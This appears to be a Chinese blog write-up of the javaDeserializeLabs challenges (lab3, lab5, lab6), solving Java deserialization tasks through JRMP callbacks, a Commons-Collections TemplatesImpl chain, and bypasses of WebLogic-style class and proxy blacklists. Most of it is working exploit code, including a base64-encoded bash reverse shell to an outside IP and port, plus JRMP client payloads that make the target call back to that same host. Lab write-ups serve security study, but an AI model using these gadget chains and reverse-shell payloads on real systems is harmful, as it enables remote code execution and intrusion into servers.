Java DesearializeLabs

Java DesearializeLabs

靶场地址:https://github.com/waderwu/javaDeserializeLabs

lab3-shiro-JRMP

环境里面提供的jar包,/basic路由有一个反序列化点

  @RequestMapping({"/basic"})
  public String greeting(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
    byte[] b = Utils.hexStringToBytes(data);
    InputStream inputStream = new ByteArrayInputStream(b);
    MyObjectInputStream myObjectInputStream = new MyObjectInputStream(inputStream);
    String name = myObjectInputStream.readUTF();
    int year = myObjectInputStream.readInt();
    if (name.equals("SJTU") && year == 1896)
      myObjectInputStream.readObject(); 
    return "index";
  }

MyObjectInputStream 很明显不能反序列化数组

public class MyObjectInputStream extends ObjectInputStream {
  private ClassLoader classLoader;
  
  public MyObjectInputStream(InputStream inputStream) throws Exception {
    super(inputStream);
    URL[] urls = ((URLClassLoader)Transformer.class.getClassLoader()).getURLs();
    this.classLoader = new URLClassLoader(urls);
  }
  
  protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
    Class<?> clazz = this.classLoader.loadClass(desc.getName());
    return clazz;
  }
}

pom.xml中的依赖中有CC3.2.1。想起buggyloaader二次反序列化RCE,除此之外还有没有别的打法?

看到师傅们的一种打法是:出网情况下的靶机开启客户端jrmp,让其访问攻击机的jrmp服务器端并执行恶意的反序列化。

题目使用jdk8u222。 jdk8u121之后java增加了JEP 290的防御机制,其又小于8u313。所以说使用ysoserial的rmi利用链就可以直接打。

但是我们需要按题目的序列化方式来构造payload,我们要自己写一个jrmp客户端

package Double;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class JrmpClient {
    public static void main(String[] args) throws Exception {
        Registry registry = (Registry) getObject("101.42.224.57",8180);
        byte[] serializable = serializable(registry);
        String string = bytesTohexString(serializable);
        System.out.println(string);
    }
    public static Object getObject(String host,int port){
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(JrmpClient.class.getClassLoader(), new Class[] {Registry.class}, obj);
        return proxy;
    }
    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null)
            return null;
        StringBuilder ret = new StringBuilder(2 * bytes.length);
        for (int i = 0; i < bytes.length; i++) {
            int b = 0xF & bytes[i] >> 4;
            ret.append("0123456789abcdef".charAt(b));
            b = 0xF & bytes[i];
            ret.append("0123456789abcdef".charAt(b));
        }
        return ret.toString();
    }
    public static byte[] serializable(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeUTF("SJTU");
        objectOutputStream.writeInt(1896);
        objectOutputStream.writeObject(object);
        objectOutputStream.close();
        return byteArrayOutputStream.toByteArray();
    }
}

发送反序列化jrmp客户端

然后使用CC6来构造payload二次反序列化给JrmpClient

开启反弹shell监听并拿取flag

lab5-weblogic-readResolve

反序列化路由依旧是/basic,变化在MyObjectInputStream处,加上了黑名单处理

public class MyObjectInputStream extends ObjectInputStream {
  private static ArrayList<String> blackList = new ArrayList<>();
  
  static {
    blackList.add("org.apache.commons.collections.functors");
    blackList.add("java.rmi.server");
  }
  
  public MyObjectInputStream(InputStream inputStream) throws Exception {
    super(inputStream);
  }
  
  protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
    for (String s : blackList) {
      if (desc.getName().contains(s))
        throw new ClassNotFoundException("go out!"); 
    } 
    return super.resolveClass(desc);
  }
  
  protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
    return super.resolveProxyClass(interfaces);
  }
}

添加了一个类MarshalledObject,如果一个序列化的重写readResolve方法,当其反序列化的时候会调用readResolve。

public class MarshalledObject implements Serializable {
  private byte[] bytes = null;
  
  public Object readResolve() throws Exception {
    ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(this.bytes);
    ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
    Object obj = objectInputStream.readObject();
    objectInputStream.close();
    return obj;
  }
}

既然CC都被禁用了,那就直接利用MarshalledObject触发一个二次反序列化。我这随便写了一个CC链

package lab4;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.yxxx.javasec.deserialize.MarshalledObject;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Test {
    private static byte[] bytes;
    public static void main(String[] args) throws Exception {
        TemplatesImpl tempalteslmpl = (TemplatesImpl) getTempalteslmpl();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { tempalteslmpl });

        ConstantTransformer constantTransformer = new ConstantTransformer(1);

        HashMap innerMap = new HashMap();
        DefaultedMap outerMap  = (DefaultedMap) DefaultedMap.decorate(innerMap,constantTransformer);
        TiedMapEntry tme = new TiedMapEntry(outerMap, TrAXFilter.class);

        HashMap expMap =  new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.clear();
        setFieldValue(outerMap,"value",instantiateTransformer);

        serialize(expMap);
        MarshalledObject marshalledObject = new MarshalledObject();
        setFieldValue(marshalledObject,"bytes",bytes);
        System.out.println(bytesTohexString(lab_serialize(marshalledObject)));
        //unserialize();
    }
    public static Object getTempalteslmpl() throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        byte[] evilBytes = getEvilBytes();
        setFieldValue(templates,"_name","Hello");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
        return templates;
    }
    public static void setFieldValue(Object object, String field_name, Object field_value) throws Exception {
        Class clazz = object.getClass();
        Field declaredField = clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,field_value);
    }
    public static byte[] getEvilBytes() throws Exception{
        //byte[] bytes = ClassPool.getDefault().get("memshell").toBytecode();
        ClassPool classPool = new ClassPool(true);
        CtClass helloAbstractTranslet = classPool.makeClass("HelloAbstractTranslet");
        CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        helloAbstractTranslet.setSuperclass(ctClass);
        CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},helloAbstractTranslet);
        ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDIuMjI0LjU3LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}\");");
        helloAbstractTranslet.addConstructor(ctConstructor);
        byte[] bytes = helloAbstractTranslet.toBytecode();
        helloAbstractTranslet.detach();
        return bytes;
    }
    public static byte[] getCalcBytes() throws Exception {
        ClassPool classPool = new ClassPool(true);
        CtClass helloAbstractTranslet = classPool.makeClass("HelloAbstractTranslet");
        CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        helloAbstractTranslet.setSuperclass(ctClass);
        CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},helloAbstractTranslet);
        ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        helloAbstractTranslet.addConstructor(ctConstructor);
        byte[] bytes = helloAbstractTranslet.toBytecode();
        helloAbstractTranslet.detach();
        return bytes;
    }
    public static void serialize(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        objectOutputStream.close();
        bytes=byteArrayOutputStream.toByteArray();
    }
    public static byte[] lab_serialize(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeUTF("SJTU");
        objectOutputStream.writeInt(1896);
        objectOutputStream.writeObject(object);
        objectOutputStream.close();
        return byteArrayOutputStream.toByteArray();
    }
    public static void unserialize() throws Exception {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null)
            return null;
        StringBuilder ret = new StringBuilder(2 * bytes.length);
        for (int i = 0; i < bytes.length; i++) {
            int b = 0xF & bytes[i] >> 4;
            ret.append("0123456789abcdef".charAt(b));
            b = 0xF & bytes[i];
            ret.append("0123456789abcdef".charAt(b));
        }
        return ret.toString();
    }
}

开启监听拿到flag

lab6-weblogic-resolveProxyClass

其他环境一样,没有MarshalledObject,MyObjectInputStream有些变化

import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.ArrayList;

public class MyObjectInputStream extends ObjectInputStream {
  private static ArrayList<String> classBlackList = new ArrayList<>();
  
  private static ArrayList<String> proxyBlackList = new ArrayList<>();
  
  static {
    classBlackList.add("org.apache.commons.collections.functors");
    proxyBlackList.add("java.rmi.registry");
  }
  
  public MyObjectInputStream(InputStream inputStream) throws Exception {
    super(inputStream);
  }
  
  protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
    for (String s : classBlackList) {
      if (desc.getName().contains(s))
        throw new ClassNotFoundException("go out!"); 
    } 
    return super.resolveClass(desc);
  }
  
  protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
    for (String s : proxyBlackList) {
      for (String anInterface : interfaces) {
        if (anInterface.contains(s))
          throw new ClassNotFoundException("go out!"); 
      } 
    } 
    return super.resolveProxyClass(interfaces);
  }
}

对MyObjectInputStream的继承并重写resolveProxyClass和CVE-2018-2628的weblogic补丁几乎说是一摸一样,y4er的weblogic

禁用了java.rmi.registry接口的动态代理,CVE-2017-3248的补丁绕过:

俩个思路:

  • resolveProxyClass反序列化代理类才会调用,直接反序列化UnicastRef对象,调用sum.rmi.server.UnicastRef#readExternal。毕竟JRMPClient的本质UnicastRef#readExternal反序列化呗

  • 使用java.rmi.registry.Registry之外的类java.rmi.activation.Activator。(其实这里对接口没有要求,不一定是rmi接口,随便找一个接口都行,比如java.util.Map)

我这里使用java.util.Map接口打的也可以成功

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.io.*;
import java.lang.reflect.Proxy;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Map;
import java.util.Random;

public class Test {
    private static byte[] bytes;
    public static void main(String[] args) throws Exception {
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint("101.42.224.57", 8180);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        java.util.Map proxy = (Map) Proxy.newProxyInstance(Test.class.getClassLoader(), new Class[] {Map.class}, obj);
        System.out.println(bytesTohexString(lab_serialize(proxy)));
    }
    public static byte[] lab_serialize(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeUTF("SJTU");
        objectOutputStream.writeInt(1896);
        objectOutputStream.writeObject(object);
        objectOutputStream.close();
        return byteArrayOutputStream.toByteArray();
    }
    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null)
            return null;
        StringBuilder ret = new StringBuilder(2 * bytes.length);
        for (int i = 0; i < bytes.length; i++) {
            int b = 0xF & bytes[i] >> 4;
            ret.append("0123456789abcdef".charAt(b));
            b = 0xF & bytes[i];
            ret.append("0123456789abcdef".charAt(b));
        }
        return ret.toString();
    }
}

JRMPListener

成功反弹shell

posted @ 2022-07-14 17:44  B0T1eR  阅读(177)  评论(0编辑  收藏  举报